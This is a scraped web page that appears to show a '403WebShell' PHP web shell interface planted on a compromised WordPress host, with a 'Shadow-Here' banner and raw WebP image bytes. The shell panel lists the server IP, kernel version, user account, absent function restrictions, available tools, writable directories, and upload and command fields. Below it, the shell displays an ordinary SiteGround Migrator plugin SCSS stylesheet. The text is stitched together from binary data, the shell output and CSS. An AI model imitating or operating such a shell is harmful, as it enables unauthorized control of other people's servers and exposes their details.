....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.19.154.92  /  Your IP : 216.73.216.47
Web Server : Apache
System : Linux lon12.onrocket.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64
User : gd5hzp4 ( 1069)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gd5hzp4/www/wp-content/plugins/siteground-migrator/admin/css/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/gd5hzp4/www/wp-content/plugins/siteground-migrator/admin/css/siteground-migrator-admin.scss
@import url("https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Roboto+Condensed:300,400,700|Roboto:300,300i,400,400i,500,500i,700,700i&subset=latin-ext");

$white: #fff;
$red: #f54545;
$green: #6acb4c;
$body-color: #363636;
$grey-90: #444;
$grey-60: #a4a4a4;
$grey-50: #c2c2c2;
$grey-30: #ececec;
$grey-40: #ddd;
$grey-20: #f2f2f2;
$grey-10: #f8f8f8;
$sky-blue-base: #25b8d2;
$sky-blue-dark: #1797ae;
$sky-blue-light: #57d0dd;
$grassy-base: #96cb4c;
$desert-sunset-base: #eca03e;
$salmon-base: #f57b45;
$salmon-dark: #d45e2a;
$salmon-light: #ef9a78;
$color-primary: $salmon-base;
$color-primary-hovered: $salmon-dark;
$color-primary-active: $salmon-light;
$color-secondary: $sky-blue-base;
$color-secondary-hovered: $sky-blue-dark;
$color-secondary-active: $sky-blue-light;
$color-dark: $grey-10;
$color-dark-hovered: $grey-20;
$color-dark-active: $color-dark;
$color-error: $red;
$color-success: $green;
$color-warning: $desert-sunset-base;
$font-family-main: Roboto;
$font-aspect-ratio: 0.42;
$font-weight-light: 300;
$font-weight-regular: 400;
$font-weight-bold: 600;
$font-size-small: 12px;
$font-size-medium: 14px;
$font-size-large: 16px;
$font-size-x-large: 20px;
$line-height-size-small: 17px;
$line-height-size-medium: 19px;
$line-height-size-large: 21px;
$line-height-size-x-large: 25px;
$font-size-large-letter-width: $font-size-large * $font-aspect-ratio;
$font-size-large-letter-width: $font-size-x-large * $font-aspect-ratio;
$title-density-none: 0;
$spacing-factor: 5px;
$space-xx-small: $spacing-factor * 1;
$space-x-small: $spacing-factor * 2;
$space-small: $spacing-factor * 3;
$space-medium: $spacing-factor * 4;
$space-large: $spacing-factor * 6;
$space-x-large: $spacing-factor * 8;
$space-xx-large: $spacing-factor * 12;
$radius-small: 2px;
$radius-medium: 3px;
$radius-large: 5px;
$radius-full: 50%;
$first-level-box-shadow: 0 2px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 5px 0 rgba(0, 0, 0, 0.16);
$second-level-box-shadow: 0 6px 17px 0 rgba(0, 0, 0, 0.16), 0 8px 14px 0 rgba(0, 0, 0, 0.18);
$prefix-postfix-max-allowed-letters: 18;
$input-addon-height: 50px;
$max-phone-size: 767px;
$media-query-max-phone: "max-width: #{$max-phone-size}";
$thank-you-icon-size: 100px;
$thank-you-icon-bg-height: 70px;
$page-content-width: 1240px;
$loader-size: 50px;

$z-indexes: (
        fixed, notification, modalBackground
);

@function z-index($name) {
  @return index($z-indexes, $name) * 10;
}

@keyframes spin {
  100% {
    transform: rotate(360deg);
  }
}

* {
  box-sizing: border-box;
  margin: 0;
  padding: 0;

}

svg {
  display: block;
}

html {
  height: 100%; // TODO check all cases !?!
  background: #fff;
  text-rendering: optimizeLegibility;
  -webkit-font-smoothing: antialiased;
}

body {
  height: 100%; // TODO check all cases !?!
  color: $body-color;
  background: $grey-10;
  font: 400 14px/18px "Open Sans", Arial, Helvetica, sans-serif;
}

h1,
h2,
h3,
h4,
h5,
h6 {
  line-height: normal;
  margin: 0;
}

form,
input,
textarea,
select {
  resize: none;
}

form,
textarea {
  width: 100%;
}

input,
textarea,
select {
  //-webkit-appearance: none;
  border-radius: 0;

  &:focus {
    outline: none;
    border: none;
  }

  &[type="submit"]:focus {
    border: none !important;
  }
}

input[type=text],
input[type=text]:focus,
input[type=email],
input[type=email]:focus {
  border: none;
  box-shadow: none;
  background-color: transparent;
}

button {
  outline: none;
  //-webkit-appearance: none;
  border-radius: 0;
}

table {
  border-collapse: collapse;
}

a {
  text-decoration: none;
  outline: none;
}

.ua-margin-top-medium {
  margin-bottom: $space-medium;
}

.container {
  display: flex;
  flex-direction: column;
  border-radius: $radius-medium;
  background: $white;
}

.container--elevation-1 {
  box-shadow: $first-level-box-shadow;
}

.container--padding-xx-large {
  padding: $space-xx-large;
}

.container--padding-none {
  padding: 0;
}

.section {
  width: 100%;
  transition: transform 300ms linear 0ms;
  will-change: transform;
}

.section__content {
  margin: 0 auto;
  padding-right: $space-medium;
}

.section--content-size-default {
  .section__content {
    max-width: $page-content-width;
  }
}

.section--density-cozy {
  padding-top: $space-medium;
  padding-bottom: $space-medium;
}

.flex {
  display: flex;
  flex-wrap: wrap;
}

.flex > * {
  min-width: 0;
  max-width: 100%;
}

.flex--margin-medium {
  margin-top: $space-medium;

  &:last-child {
    margin-bottom: $space-medium;
  }
}

.flex--direction-column {
  flex-direction: column;
}

.flex--align-center {
  align-items: center;
}

.flex--gutter-medium {
  padding-left: $space-medium/2;
  padding-right: $space-medium/2;

  &.flex--expanded {
    margin-left: -$space-medium;
    margin-right: -$space-medium;
  }
}

.flex--gutter-xx-large {
  padding-left: $space-xx-large/2;
  padding-right: $space-xx-large/2;

  &.flex--expanded {
    margin-left: -$space-xx-large;
    margin-right: -$space-xx-large;
  }
}

.btn {
  display: inline-block;
  border: 2px solid transparent;
  border-radius: $radius-medium;
  font-family: $font-family-main;
  font-weight: $font-weight-regular;
  text-transform: uppercase;

  &:hover {
    box-shadow: $first-level-box-shadow;
    cursor: pointer;
  }

  &:active {
    box-shadow: none;
  }

  &:focus {
    box-shadow: $first-level-box-shadow;
  }

  & + & {
    margin-left: $space-small;
  }
}

.btn__content {
  display: inline-flex;
  justify-content: center;
  align-items: center;
}

.btn__text {
  line-height: 1;

  &:first-child {
    margin-right: $space-x-small;
  }

  &:last-child {
    margin-left: $space-x-small;
  }

  &:only-child {
    margin-right: 0;
    margin-left: 0;
  }
}

.btn--primary {
  color: $white;
  background-color: $color-primary;

  &:hover {
    background-color: $color-primary-hovered;
  }

  &:active {
    color: lighten($white, 20%);
    background-color: $color-primary-active;
  }
}

.btn--secondary {
  color: $white;
  background-color: $color-secondary;

  &:hover {
    background-color: $color-secondary-hovered;
  }

  &:active {
    color: lighten($white, 20%);
    background-color: $color-secondary-active;
  }
}

.btn--dark {
  color: $grey-90;
  background-color: $color-dark;

  &:hover {
    background-color: $color-dark-hovered;
  }

  &:active {
    color: lighten($grey-90, 20%);
    background-color: $color-dark-active;
  }
}

.btn--x-large {
  height: 50px;
  padding-left: 28px;
  padding-right: 28px;
  font-size: 14px;
}

.btn--large {
  height: 40px;
  line-height: 40px;
  padding-left: 23px;
  padding-right: 23px;
  font-size: 14px;

}

.btn--medium {
  height: 36px;
  padding-left: 18px;
  padding-right: 18px;
  font-size: 13px;
}

.btn--neutral {
  color: $grey-90;
  background-color: transparent;

  &:hover {
    background-color: $white;
  }

  &:active {
    color: lighten($grey-90, 20%);
    background-color: transparent;
  }
}

.table__row-template {
  display: none;
}

.btn--outlined,
%button--outlined {
  background-color: transparent;
  border-color: currentColor;

  &:hover {
    background-color: transparent;
  }

  &.btn--primary {
    color: $color-primary;
  }

  &.btn--secondary {
    color: $color-secondary;
  }

  &.btn--dark {
    color: $color-dark;
  }

}

.link {
  display: inline-block;
  color: $color-secondary;
  cursor: pointer;
  word-break: break-all;
  outline: none !important;

  &:active, &:focus {
    color: $color-secondary-active;
    outline: none;
    box-shadow: none;
  }

  &:visited {
    color: $color-secondary;
  }
  &:hover {
    color: $color-secondary-hovered;
  }
}

.typography--align-center {
  text-align: center;
  align-self: center;
}

.typography--weight-light {
  font-weight: $font-weight-light;
}

.typography--weight-regular {
  font-weight: $font-weight-regular;
}

.typography--weight-bold {
  font-weight: $font-weight-bold;
}

.title {
  font-family: $font-family-main;
  max-width: 100%;

  small { margin-left: 10px; opacity: 0.3 }
}

.title--level-1 {
  font-size: 32px;
  line-height: 46px;
}

.title--level-3 {
  font-size: 24px;
  line-height: 36px;
}

.title--level-4 {
  font-size: 18px;
  line-height: 26px;
}

.title--level-5 {
  font-size: 18px;
  line-height: 22px;
}

.title--density-comfortable {
  &.title--level-1 {
    padding: 22px 0;
  }

  &.title--level-3 {
    padding: 24px 0;
  }

  &.title--level-4 {
    padding: 26px 0;
  }

  &.title--level-5 {
    padding: 28px 0;
  }

}

.title--density-compact {
  &.title--level-1 {
    padding: 2px 0;
  }

  &.title--level-3 {
    padding: 4px 0;
  }

  &.title--level-4 {
    padding: 6px 0;
  }

  &.title--level-5 {
    padding: 8px 0;
  }
}

.title--density-none {
  padding: $title-density-none;
}

.title--density-airy {
  &.title--level-1 {
    padding: 32px 0;
  }

  &.title--level-3 {
    padding: 34px 0;
  }
}

.text--size-medium {
  font-size: $font-size-medium;
  line-height: $line-height-size-large;
  margin: 0 0 $space-medium;
}

.text--size-large {
  font-size: 16px;
  line-height: 28px;
}

#field-label {
  display: block;
  width: 100%;
  position: relative;
  font: 300 12px/16px $font-family-main;
  color: $grey-60;
  text-align: initial;
}

.field-wrapper {
  display: flex;

  background-color: $white;
  border: 1px solid $grey-40;
  border-radius: $radius-medium;
}

.field-wrapper--has-label {
  margin-top: $space-xx-small;
}

.field-wrapper--checkbox {
  display: block;
  margin-top: 30px;
  margin-bottom: -15px;
}

.field {
  width: 100%;
  min-width: 1px;
  background-color: transparent;
  border: none;
  font-family: $font-family-main;
  font-size: $font-size-medium;
  color: $grey-90;

  &:placeholder {
    font-style: italic;
    font-weight: $font-weight-light;
    color: $grey-50;
  }

  &:first-child {
    border-top-left-radius: $radius-medium;
    border-bottom-left-radius: $radius-medium;
  }

  &:last-child {
    border-top-right-radius: $radius-medium;
    border-bottom-right-radius: $radius-medium;
  }

  &::-webkit-outer-spin-button,
  &::-webkit-inner-spin-button {
    appearance: none;
    margin: 0;
  }
}

.field::-ms-clear {
  display: none;
}

.field-label--error .field-wrapper {
  box-shadow: $first-level-box-shadow;
  border-color: $color-error;
}

.field-label--success .field-wrapper {
  box-shadow: $first-level-box-shadow;
  border-color: $color-success;
}

.field-wrapper--large {
  .field {
    height: $input-addon-height;
    padding: 0 $space-medium;
    font-weight:$font-weight-regular;
    font-size: $font-size-large;

    &::placeholder {
      font-weight: $font-weight-bold;
    }
    &:focus {
      outline: none;
      border: none
    }
  }

  .textarea {
    padding: 20px;
  }
}

#checkbox__label_email {
  display: flex;
  width: 100%;
  justify-content: center;

  .checkbox-label-text {
    margin-right: 10px;
    line-height: 24px;
  }

  .field-wrapper {
    flex-grow: 100;
    position: relative;
  }

  .validation {
    top: 100%;
  }
}

.field-wrapper--small {
  .field {
    height: 20px;
    padding: 0 10px;
    font-size: 14px;
    border: none;
  }
}

.field-wrapper--show-validation + .validation {
  display: inline-flex;
}

.field-label--error-required .validation--required,
.field-label--error-pattern .validation--pattern {
  display: inline-flex;
}

.field-wrapper--large {
  .input-addon .text-truncate {
    max-width: $font-size-large-letter-width * $prefix-postfix-max-allowed-letters;
    line-height: $line-height-size-large;
  }
}

.validation {
  display: none;
  position: absolute;
  z-index: z-index(notification);
  margin-top: -1px; // TODO fix this ugly hack
  padding: 7px $space-small 6px $space-small;
  width: 100%;

  align-items: center;
  border-bottom-left-radius: $radius-medium;
  border-bottom-right-radius: $radius-medium;
  box-shadow: $first-level-box-shadow;
  color: $white;
  font-size: 11px;
  line-height: 16px;
}

.validation--error {
  background-color: $color-error;
}

.validation--success {
  border-color: $color-success;
}

.progress {
  height: 8px;
  flex: 1 1 0;
  position: relative;
  overflow: hidden;

  border-radius: $radius-large;
  background: $grey-40;
}

.progress__indicator {
  position: absolute;
  top: 0;
  left: 0;
  bottom: 0;
  width: 100%;
  transform: translateX(-100%);
  border-radius: $radius-medium;
}

.progress__indicator--color-blue {
  background: $sky-blue-base;
}

.thank-you--success {
  display: none;
  .thank-you-icon-background {
    background-image: url("data:image/svg+xml;utf8,<svg xmlns= 'http://www.w3.org/2000/svg' viewBox= '0 0 13 14' ><title>pattern_green</title><polygon points= '1.5 0 0 1.8 1.5 3.6 3 1.8 1.5 0 1.5 0' fill= '#73c04f' /><polygon points= '11.5 0 10 1.8 11.5 3.6 13 1.8 11.5 0 11.5 0' fill= '#cba871' fill-opacity= '0' /><polygon points= '1.5 10.4 0 12.2 1.5 14 3 12.2 1.5 10.4 1.5 10.4' fill= '#cba871' fill-opacity= '0' /></svg>");
    background-size: 3.2%;
  }

  .thank-you-icon {
    color: $grassy-base;
  }
}

.thank-you--warning {
  display: none;
  .thank-you-icon-background {
    background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 13 14'><title>pattern_orange</title><polygon points='1.5 0 0 1.8 1.5 3.6 3 1.8 1.5 0 1.5 0' fill='#eca03e'/><polygon points='11.5 0 10 1.8 11.5 3.6 13 1.8 11.5 0 11.5 0' fill='#cba871' fill-opacity='0'/><polygon points='1.5 10.4 0 12.2 1.5 14 3 12.2 1.5 10.4 1.5 10.4' fill='#cba871' fill-opacity='0'/></svg>");
    background-size: 3.2%;
  }

  .thank-you-icon {
    color: $color-warning;
  }

  .btn__restart {
    display: none;
  }
}

.thank-you--fail {
  display: none;
  .thank-you-icon-background {
    background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 13 14'><title>pattern_red</title><polygon points='1.5 0 0 1.8 1.5 3.6 3 1.8 1.5 0 1.5 0' fill='#f54545'/><polygon points='11.5 0 10 1.8 11.5 3.6 13 1.8 11.5 0 11.5 0' fill='#f54545' fill-opacity='0'/><polygon points='1.5 10.4 0 12.2 1.5 14 3 12.2 1.5 10.4 1.5 10.4' fill='#f54545' fill-opacity='0'/></svg>");
    background-size: 3.2%;
  }

  .thank-you-icon {
    color: $color-error;
  }
}

.thank-you-icon-background {
  position: relative;
  display: flex;
  justify-content: center;
  min-width: 400px;
  height: $thank-you-icon-bg-height;
  background-size: 15px;

  &:after {
    position: absolute;
    bottom: 0;
    right: 0;
    display: block;
    content: ' ';
    width: 0;
    height: 0;
    border-style: solid;
    border-width: 0 0 30px 30px;
    border-color: transparent transparent $white transparent;
  }
}

.thank-you-icon-wrapper {
  display: flex;
  justify-content: center;
  align-items: center;

  border-radius: 50%;
  width: $thank-you-icon-size;
  height: $thank-you-icon-size;
  margin-top: $thank-you-icon-bg-height - $thank-you-icon-size;

  background-color: $grey-20;
}

.thank-you-title {
  margin-top: $space-small;
  margin-bottom: $space-xx-small;
}

.thank-you-description {
  padding-bottom: $space-large;
  max-width: 800px;
  margin-top: $space-xx-small;
}

.icon {
  display: inline-block;
  flex-grow: 0;
  flex-shrink: 0;

  svg {
    fill: currentColor;
  }
}

.icon--use-current-color {
  path,
  polygon,
  circle {
    fill: currentColor;
  }
}

.icon--rating {
  width: 36px;
  height: 24px;
  display: inline-block;

  svg {
    width: 24px;
    height: 24px;
    margin: 0 auto;
  }

}

.table-wrapper {
  width: 100%;
  max-width: 100%;
  border-radius: $radius-medium;
